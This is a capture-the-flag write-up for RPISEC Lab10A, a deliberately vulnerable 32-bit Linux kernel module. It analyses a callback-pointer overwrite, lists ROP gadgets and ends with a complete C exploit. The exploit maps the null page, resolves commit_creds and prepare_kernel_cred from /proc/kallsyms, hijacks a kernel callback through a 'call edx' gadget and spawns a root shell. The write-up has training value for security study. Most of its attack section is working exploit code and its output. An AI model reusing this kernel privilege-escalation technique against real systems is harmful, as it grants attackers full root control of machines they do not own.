

RPISEC Lab10A Writeup

Setup and Source Code Analysis

- We start with a simple skeleton script to communicate with the device (after building and inserting the module as normal).
- From the source code of lab10A.c, we can see there are 5 “ioctl’s”:

```
259 static ssize_t pwn_write(struct file* file, const char * buf, size_t count, loff_t *ppos)
260 { // This is how you configure uTables
261
262     if (buf[0] == '\x01') { // Now you know you're talking to this thing :)
263         printk(KERN_INFO "The flag is in /root/flag\n");
264     }
265
266     if (buf[0] == '\x02') { // Add a disallow filter
267         printk(KERN_INFO "[uTables] Adding new disallow filter\n");
268         printk(KERN_INFO "PR: %u", buf[1]);
269         add_dfilter( (struct disallow_filter *) &(buf[1]));
270     }
271
272     if (buf[0] == '\x03') { // Add a callback filter
273         printk(KERN_INFO "[uTables] Adding a new callback filter\n");
274         add_cfilter( (struct callback_filter *) &(buf[1]));
275     }
276
277     if (buf[0] == '\x04') { // Modify a callback function
278         printk(KERN_INFO "[uTables] Modifying a callback\n");
279         modify_callback((void *) &(buf[4]));
280     }
281
282     if (buf[0] == '\x05') { // Emulate a Packet arriving in the kernel.
283         printk(KERN_INFO "[uTables] Emulating a packet arriving\n");
284         emulate_packet( (int) (buf[1]));
285     }
```

- Some of these require us to pass custom structures to the device, these are defined as:

```
29 typedef struct disallow_filter {
30     unsigned int pr_num;
31     unsigned int port;
32     unsigned int id;
33     struct disallow_filter * next;
34     struct disallow_filter * prev;
35 }d;
36
37 typedef struct callback_filter {
38     unsigned int pr_num;
39     unsigned int id;
40
41     void (*callback)(struct callback_filter *);
42     struct callback_filter * next;
43     struct callback_filter * prev;
44 }c;
```

- As we can see, we have two doubly linked lists, the more interesting structure is the `callback_filter`, which contains a function pointer.
- We add the following code to our code to quickly test the devices mock `ioctl`'s.

```
#define FLAG_LOCATION 0x01
#define ADD_DISALLOW_FILTER 0x02
#define ADD_CALLBACK_FILTER 0x03
#define MODIFY_CALLBACK 0x04
#define EMULATE_PACKET 0x05
[...snip...]

/* TEST */
write(device, FLAG_LOCATION, 1);
write(device, ADD_DISALLOW_FILTER, 1);
write(device, ADD_CALLBACK_FILTER, 1);
write(device, MODIFY_CALLBACK, 1);
write(device, EMULATE_PACKET, 1);
```

```
[ 2484.897579] [uTables] Got a packet!
[ 2484.898831] The flag is in /root/flag
[ 2484.898969] [uTables] Adding new disallow filter
[ 2484.899103] PR: 0PR NUM: 67109632
[ 2484.899247] New Filter At Address: f380b360
[ 2484.899265] New Filter Protocol: 67109632
[ 2484.899562] New Filter Port: 1280
[ 2484.899739] New Filter ID: 453050368
[ 2484.899909] [uTables] Adding a new callback filter
[ 2484.900092] [uTables] Adding a callback filter
[ 2484.900280] New Filter At Address: f380b540
[ 2484.900478] New Filter Protocol: 83887104
[ 2484.900682] New Filter ID: 0
[ 2484.900901] New Filter Callback @: f83700c0
[ 2484.901118] New Filter NEXT: (null)
[ 2484.901338] New Filter PREV: c0150b60
[ 2484.901563] [uTables] Modifying a callback
[ 2484.901813] Addr: 674956059
[ 2484.902053] ID: 16777216
[ 2484.902295] [ERROR] Userspace Address detected!
[ 2484.902559] [uTables] Emulating a packet arriving
[ 2484.902860] [uTables] Emulating Protocol: 0
```

- Now we need to look at what `ioctl`'s we want to use, and see if there's any vulnerabilities we could leverage.

Add Callback Filter

```
139 int add_cfilter(struct callback_filter * filt) {
140     /*
141      * Add a callback filter to uTables.
142      */
143     struct callback_filter * nfilter, *walker;
144     printk("[uTables] Adding a callback filter\n");
145
146     nfilter = kmalloc(sizeof(struct callback_filter), GFP_KERNEL);
147     nfilter->pr_num = filt->pr_num;
148     nfilter->id = filt->id;
149     nfilter->callback = default_callback;
150     nfilter->next = 0;
151
152     walker = cfilter_head;
153     while(walker->next != 0) {
154         walker = walker->next;
155     }
156     walker->next = nfilter;
157     nfilter->prev = walker;
158
159     printk(KERN_INFO "New Filter At Address: %p\n", nfilter);
160     printk(KERN_INFO "New Filter Protocol: %u\n", nfilter->pr_num);
161     printk(KERN_INFO "New Filter ID: %u\n", nfilter->id);
162     printk(KERN_INFO "New Filter Callback @: %p\n", nfilter->callback);
163     printk(KERN_INFO "New Filter NEXT: %p\n", nfilter->next);
164     printk(KERN_INFO "New Filter PREV: %p\n", nfilter->prev);
165
166     return 0;
167
168 }
```

- This function allows us to add our own callback filter to the doubly linked list. All it does is take our buffer+1, cast it as a callback_filter pointer, creates memory on the kernel heap for a new structure and then copies the data over.
- What's important here is that we can specify the pr_num and id, which will be useful later.
- We can add a callback_filter by adding the following code:

```
callback_filter *my_cb_filter = (callback_filter *)\
                                malloc(sizeof(callback_filter));

my_cb_filter->pr_num = 0x13;
my_cb_filter->id = 1337;

buff[0] = ADD_CALLBACK_FILTER;
memcpy(buff+1, my_cb_filter, sizeof(callback_filter));

write(device, buff, strlen(buff));
```

```

[ 6270.680880] [uTables] Adding a new callback filter
[ 6270.681249] [uTables] Adding a callback filter bffff45d
[ 6270.682101] New Filter At Address: f380bf40
[ 6270.682446] New Filter Protocol: 19
[ 6270.682785] New Filter ID: 1337
[ 6270.683270] [uTables] Got a packet!
[ 6270.683716] New Filter Callback @: f83700c0
[ 6270.684155] New Filter NEXT: (null)
[ 6270.684559] New Filter PREV: f380b4a0

```

Modify Callback

```

221 int modify_callback(void * data) {
222     /*
223      * Apart from the default Callback, you may load
224      * additional kernel modules and use their functions
225      * as callback routines from the filtering hook here.
226      */
227     struct callback_filter * walker;
228     unsigned int addr;
229     unsigned int cid;
230
231     memcpy(&cid, data, 4);
232     memcpy(&addr, data + 4, 4);
233     printk(KERN_INFO "Addr: %u\n", addr);
234     printk(KERN_INFO "ID: %u\n", cid);
235
236     if (addr < 0xc0000000) {
237         printk(KERN_INFO "[ERROR] Userspace Address detected!\n");
238         return -1;
239     }
240
241     walker = cfilter_head;
242     while (walker != 0) {
243         if (walker->id == cid) {
244             break;
245         }
246         walker = walker->next;
247     }
248     if (walker) {
249         walker->callback = addr;
250         printk(KERN_INFO "Updated Filter ID: %u Callback to : %u\n", walker->id, walker->callback);
251     }
252     else {
253         printk(KERN_INFO "Could not find Filter with ID: %u\n", walker->id);
254         return -1;

```

- The next interesting section of code is this function. It handily allows us to specify a callback_filter by id, and then give it a new callback function pointer to call. Note that the if statement prevents us from specifying user space addresses (those below 0xc0000000).

- This does mean however we can give it any kernel space function to call (or more importantly, a rop gadget in kernel space, more on that later....).
- We trigger this code path as follows:

```
buff[0] = MODIFY_CALLBACK;

void *addr = (void *)0xcafebabe;
void *id = (void *)0x00000539;

memcpy(buff+4, &id, 4);
memcpy(buff+4+4, &addr, 4);
write(device, buff, strlen(buff));
```

```
[ 6556.828488] [uTables] Modifying a callback
[ 6556.828834] Addr: cafebabe
[ 6556.829039] ID: 00000539
[ 6556.829248] Updated Filter ID: 1337 Callback to : 3405691582
```

Emulate Packet

```
95 void emulate_packet(int pnum) {
96     struct disallow_filter * walkera;
97     struct callback_filter * walkerb;
98     printk(KERN_INFO "[uTables] Emulating Protocol: %d\n", pnum);
99
100
101     walkera = dfilter_head;
102     walkerb = cfilter_head;
103
104     while(walkerb != 0) {
105         if(walkerb->pr_num == pnum) {
106             break;
107         }
108         walkerb = walkerb->next;
109     }
110     if (walkerb) {
111         printk(KERN_INFO "Found callback filter!\n");
112         walkerb->callback(walkerb);
113         return;
114     }
115
116     while(walkera != 0) {
117         if (walkera->pr_num == pnum) {
118             break;
119         }
120         walkera = walkera->next;
121     }
122     if (walkera) {
123         printk(KERN_INFO "[uTables] Caught a disallowed Packet!\n");
124         return;
125     }
126     return;
127 }
```

- Now we have a way of specifying what happens when a certain packet is caught, it would be nice to have some way of controlling when that happens (mainly we don't want arbitrary packets triggering our code path).
- Luckily, the guys @RPISEC were nice enough to implement the `emulate_packet` function as above. This function takes as input a protocol number to emulate, walks the doubly linked list of callback and disallow filters, and if it finds a filter that handles that protocol, calls its callback and then drops the packet (if there is also a disallow filter).
- So if we pass this function the protocol number of the `callback_filter` we just created, it should call the function pointer we gave (0xcafebabe).
- We use the following code:

```
buff[0] = EMULATE_PACKET;
```

```
buff[1] = 0x13;
```

```
write(device, buff, strlen(buff));
```

```
[ 6861.440270] [uTables] Adding a new callback filter
[ 6861.440637] [uTables] Adding a callback filter bffff45d
[ 6861.440783] New Filter At Address: f6aee760
[ 6861.440935] New Filter Protocol: 19
[ 6861.441089] New Filter ID: 1337
[ 6861.441247] New Filter Callback @: f83700c0
[ 6861.441415] New Filter NEXT: (null)
[ 6861.441612] New Filter PREV: f6ac83a0
[ 6861.441792] [***] BUFF = \x04\x13
[ 6861.441973] [uTables] Modifying a callback
[ 6861.442167] Addr: cafebabe
[ 6861.442367] ID: 00000539
[ 6861.442591] Updated Filter ID: 1337 Callback to : 3405691582
[ 6861.442827] [***] BUFF = \x05\x13
[ 6861.443060] [uTables] Emulating a packet arriving
[ 6861.443312] [uTables] Emulating Protocol: 19
[ 6861.443656] Found callback filter! @ cafebabe
[ 6861.443942] kernel tried to execute NX-protected page - exploit attempt? (uid: 1000)
[ 6861.444246] BUG: unable to handle kernel paging request at cafebabe
[ 6861.444593] IP: [<cafebab>] 0xcafebab
[ 6861.444929] *pdpt = 0000000001af3001 *pde = 800000000ae001e3
[ 6861.445283] Oops: 0011 [#16] SMP
```

```
[ 6861.454783] CR0: 80050033 CR2: cafebabe CR3: 34eb5000 CR4: 000407f0  
[ 6861.455518] Stack:  
[ 6861.456252] f837013b f8371218 cafebabe 00000005 bffff45c f6193f60 f83704be f8371378  
[ 6861.457031] bffff45c f3248300 00000002 f8370450 f6193f88 c118e6fd f6193f98 00000000  
[ 6861.457828] 00000000 f3248308 bffff45c f3248300 f3248300 bffff45c f6193fac c118edc6  
[ 6861.458689] Call Trace:  
[ 6861.459479] [<f837013b>] ? emulate_packet+0x5b/0xa0 [lab10A]  
[ 6861.460307] [<f83704be>] pwn_write+0x6e/0xd2 [lab10A]  
[ 6861.461136] [<f8370450>] ? modify_callback+0xb0/0xb0 [lab10A]  
[ 6861.461974] [<c118e6fd>] vfs_write+0x9d/0x1d0  
[ 6861.462807] [<c118edc6>] Sys_write+0x46/0x90  
[ 6861.463643] [<c169285f>] sysenter_do_call+0x12/0x12  
[ 6861.464458] Code: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00> 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
[ 6861.468513] EIP: [<cafebabe>] 0xcafebabe SS:ESP 0068:f6193f30  
[ 6861.469961] CR2: 00000000cafebabe  
[ 6861.481920] ---[ end trace 98135dcdd025a96c ]---
```

- And as we see, 0xcafebabe is an incorrect address which causes a pagefault, so we now have eip control.

Developing the Exploit

- So we now know the path to trigger the vulnerability has 3 steps:
 - Add a callback filter with a specific ID and protocol number.
 - Modify the callback function pointer of that filter to a kernel space address.
 - Emulate a packet of that protocol to trigger a call to the previously specified address.
- The problem here is that we can't map addresses above 0xc0000000, so we can only use this to call kernel code that is already present.
 - Note that had this been a 64bit system the if statement would fail as we can obviously map 0x00000000c0000000.
- Lets start by looking at the state of the registers and stack just as the function pointer is called, to see what we may be able to leverage.

```

MEMORY: F9926118 loc_F9926118: mov ebx, [ebx+0Ch] ; CODE XREF: MEMORY: F9926121↓j
MEMORY: F9926118 test ebx, ebx
MEMORY: F992611B jz short loc_F9926148
MEMORY: F992611D
MEMORY: F992611F loc_F992611F: cmp [ebx], esi ; CODE XREF: MEMORY: F992610D↑j
MEMORY: F992611F jnz short loc_F9926118
MEMORY: F9926121 mov eax, [ebx+8]
MEMORY: F9926123 mov dword ptr [esp], offset off_F9927220
MEMORY: F9926126 mov [esp+4], eax
MEMORY: F992612D call near ptr unk_C16860F3
MEMORY: F9926131 mov eax, ebx
MEMORY: F9926136 call dword ptr [ebx+8]
EIP: MEMORY: F9926138
MEMORY: F992613B

```

```

EAX C0150380 ↪ MEMORY: C0150380
ECX C1B2D780 ↪ MEMORY: C1B2D780
EDX 00000046 ↪ MEMORY: 00000046
EBX C0150380 ↪ MEMORY: C0150380
ESP F47C7F34 ↪ MEMORY: F47C7F34
EBP F47C7F44 ↪ MEMORY: F47C7F44
ESI 00000013 ↪ MEMORY: 00000013
EDI 00000002 ↪ MEMORY: 00000002
EIP F9926138 ↪ MEMORY: F9926138
EFL 00000286

```

- EDX looks like a good candidate, on testing, it seems that its value is set during the printk call just before our function pointer is called (unk_C1680F3).
- So if we had a way of forcing a call to EDX, we could then map a null page and store our shellcode at offset 0x46. This is where our rop gadget comes in, this gadget must satisfy two conditions:
 - It must be in kernel space to pass the check in modify_callback.
 - It must call edx, it would be nice if that was all it did.
- Searching for such a gadget gives us plenty of results:


```

0xc13fd1f6 : xor eax, eax ; call edx
0xc1354642 : xor eax, eax ; test edx, edx ; je 0xc1354654 ; mov eax, ebx ; call edx
0xc1354b21 : xor eax, eax ; test edx, edx ; je 0xc1354b33 ; mov eax, ebx ; call edx
0xc1354bde : xor eax, eax ; test edx, edx ; je 0xc1354bcd ; mov eax, ebx ; call edx
0xc1354bbb : xor eax, eax ; test edx, edx ; je 0xc1354bcd ; mov eax, esi ; call edx
0xc1354ea7 : xor eax, eax ; test edx, edx ; je 0xc1354eb9 ; mov eax, ebx ; call edx
0xc1354f33 : xor eax, eax ; test edx, edx ; je 0xc1354f45 ; mov eax, ebx ; call edx
0xc1354fb5 : xor eax, eax ; test edx, edx ; je 0xc1354fc7 ; mov eax, ebx ; call edx
0xc135507f : xor eax, eax ; test edx, edx ; je 0xc1355091 ; mov eax, ebx ; call edx
0xc13553be : xor eax, eax ; test edx, edx ; je 0xc13553ad ; mov eax, ebx ; call edx
0xc135539b : xor eax, eax ; test edx, edx ; je 0xc13553ad ; mov eax, esi ; call edx
0xc13d48e8 : xor eax, eax ; test edx, edx ; je 0xc13d48fa ; mov eax, ebx ; call edx
0xc13faefd : xor eax, eax ; test edx, edx ; je 0xc13faf0f ; mov eax, ecx ; call edx
0xc143055b : xor eax, eax ; test edx, edx ; je 0xc143056d ; mov eax, ecx ; call edx
0xc14305fb : xor eax, eax ; test edx, edx ; je 0xc143060d ; mov eax, ecx ; call edx
0xc143069b : xor eax, eax ; test edx, edx ; je 0xc14306ad ; mov eax, ecx ; call edx
0xc1434e6a : xor eax, eax ; test edx, edx ; je 0xc1434e7c ; mov eax, ecx ; call edx
0xc14aab21 : xor eax, eax ; test edx, edx ; je 0xc14aab33 ; mov eax, ebx ; call edx
0xc14aca34 : xor eax, eax ; test edx, edx ; je 0xc14aca46 ; mov eax, ebx ; call edx
0xc1521289 : xor eax, eax ; test edx, edx ; je 0xc152127b ; mov eax, ecx ; call edx
0xc1646993 : xor eax, eax ; test edx, edx ; je 0xc16469a5 ; mov eax, ebx ; call edx
0xc12f728a : xor ebx, ebx ; call edx
0xc14110af : xor ebx, ebx ; test edx, edx ; je 0xc14110db ; xor eax, eax ; call edx
0xc133f818 : xor edi, edi ; call edx
0xc1449d5a : xor edi, edi ; test edx, edx ; je 0xc1449d6a ; call edx
0xc14a7c3b : xor edi, edi ; test edx, edx ; je 0xc14a7c4f ; mov eax, esi ; call edx
0xc155f210 : xor edi, edi ; test edx, edx ; je 0xc155f224 ; mov eax, ebx ; call edx
0xc1514696 : xor esi, esi ; test edx, edx ; je 0xc15146a8 ; mov eax, ebx ; call edx

```

- We will use the gadget at address 0xc12f728a (xor ebx, ebx; call edx).
- We then update our code to represent this change, and then see if we hit a call to 0x46.

•	MEMORY: C12F728A	xor	ebx, ebx
EIP	MEMORY: C12F728C	call	edx

EAX	C0150380	↪	MEMORY: C0150380
ECX	C1B2D780	↪	MEMORY: C1B2D780
EDX	00000046	↪	MEMORY: 00000046
EBX	00000000	↪	MEMORY: 00000000
ESP	F6A8DF30	↪	MEMORY: F6A8DF30
EBP	F6A8DF44	↪	MEMORY: F6A8DF44
ESI	00000013	↪	MEMORY: 00000013
EDI	00000002	↪	MEMORY: 00000002
EIP	C12F728C	↪	MEMORY: C12F728C
EFL	00000246		

- From here, the exploit is trivial. We map an executable page in memory from 0x00-0x1000, and copy our stub code into that page at offset 0x46. One important thing to note here is that our rop gadget modifies the stack by pushing a return address, we don't want to return just after our gadget, so we add a pop %reg to our stub so that we return cleanly to emulate_packet.


```

void stub()
{
    asm("call *%0" : : "r"(get_root));
    asm("pop %edi"); //because of our rop gadget, we need to pop once more
                    //this allows us to return properly to emulate_packet
}

```

- Putting this all together gives us a reliable exploit that safely returns to userspace giving us a root shell.

```

gameadmin@warzone:~/level10A$ whoami
gameadmin
gameadmin@warzone:~/level10A$ ./lab10A_exploit
[+] Found address of commit_creds at 0xc107f910 [+]
[+] Found address of prepare_kernel_cred at 0xc107fbd0 [+]
[+] Mapped Null page [+]
[+] Device opened [+]
[+] modified callback address to call 0xc12f728a [+]
[+] Triggering vulnerable code path [+]
[!!!] Enjoy your root shell [!!!]
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
#

```

The Final Code

```
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>

#define FLAG_LOCATION 0x01
#define ADD_DISALLOW_FILTER 0x02
#define ADD_CALLBACK_FILTER 0x03
#define MODIFY_CALLBACK 0x04
#define EMULATE_PACKET 0x05

#define DEVICE_NAME "/dev/pwn"

typedef struct disallow_filter {
    unsigned int pr_num;
    unsigned int port;
    unsigned int id;
    struct disallow_filter * next;
    struct disallow_filter * prev;
}disallow_filter;

typedef struct callback_filter {
    unsigned int pr_num;
    unsigned int id;

    void (*callback)(struct callback_filter *);
    struct callback_filter * next;
    struct callback_filter * prev;
}callback_filter;

struct cred;
struct task_struct;

/* Definitions for commit_creds and prepare_kernel_cred */
typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct
*daemon)
    __attribute__((regparm(3)));

typedef int (*commit_creds_t)(struct cred *new)
    __attribute__((regparm(3)));

prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

/*
 * Get the kernel addresses of symbols
 */
void *get_ksym(char *name) {
    FILE *f = fopen("/proc/kallsyms", "rb");
```

```

char c, sym[512];
void *addr;
int ret;

while(fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0)
    if (strcmp(sym, name) == 0)
    {
        printf("[+] Found address of %s at %p [+] \n", name,
addr);
        return addr;
    }
return NULL;
}

void get_root()
{
    commit_creds(prepare_kernel_cred(0));
}

void stub()
{
    asm("call *%0" : : "r"(get_root));
    asm("pop %edi"); //because of our rop gadget, we need to pop
once more
                        //this allows us to return properly to
emulate_packet
}

int main()
{
    char buff[512];
    memset(buff, 0x00, sizeof(buff));

    /* get the addresses of the functions we need */
    commit_creds = get_ksym("commit_creds");
    prepare_kernel_cred = get_ksym("prepare_kernel_cred");

    if(!commit_creds || !prepare_kernel_cred)
    {
        printf("[x] Error getting addresses from kallsyms,
exiting... [x]\n");
        return -1;
    }

    long *null_page = (long *) mmap(0, 4096,
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, 0,0);

    if(null_page < 0)
    {
        printf("[x] Error mapping null page [x]\n");
        return -1;
    }

```

```

}

void **fn = 0x46; //edx == 0x46 when called

printf("[+] Mapped Null page [+]\\n");

/* Copy our asm stub into the mapped page at offset 0x46 */
memcpy(fn, stub, 128);

/* Create the callback filter that will be modified */
callback_filter *my_cb_filter = (callback_filter *)\
    malloc(sizeof(callback_filter));

my_cb_filter->pr_num = 0x13;
my_cb_filter->id = 1337;

int device = open(DEVICE_NAME, O_WRONLY);

if(device < 0)
{
    printf("[x] Unable to open device [x]\\n");
    return -1;
}

printf("[+] Device opened [+]\\n");

buff[0] = ADD_CALLBACK_FILTER;
memcpy(buff+1, my_cb_filter, sizeof(callback_filter));

write(device, buff, strlen(buff));

buff[0] = MODIFY_CALLBACK;

/* Here we set the callback to a gadget that calls edx */
/* EDX has a predictable value that can be mapped to */
void *addr = (void *)0xc12f728a; //xor ebx,ebx; call edx
void *id = (void *)0x00000539;

printf("[+] modified callback address to call %p [+]\\n",
addr);

memcpy(buff+4, &id, 4);
memcpy(buff+4+4, &addr, 4);

write(device, buff, strlen(buff));

buff[0] = EMULATE_PACKET;
buff[1] = 0x13;

printf("[+] Triggering vulnerable code path [+]\\n");

write(device, buff, strlen(buff));

close(device);

```

```
if(getuid() == 0)
{
    printf("[!!!] Enjoy your root shell [!!!]\n");
    system("/bin/sh");
    return 0;
}
else
{
    printf("[x] Couldn't escalate privs [x]\n");
    return -1;
}
}
```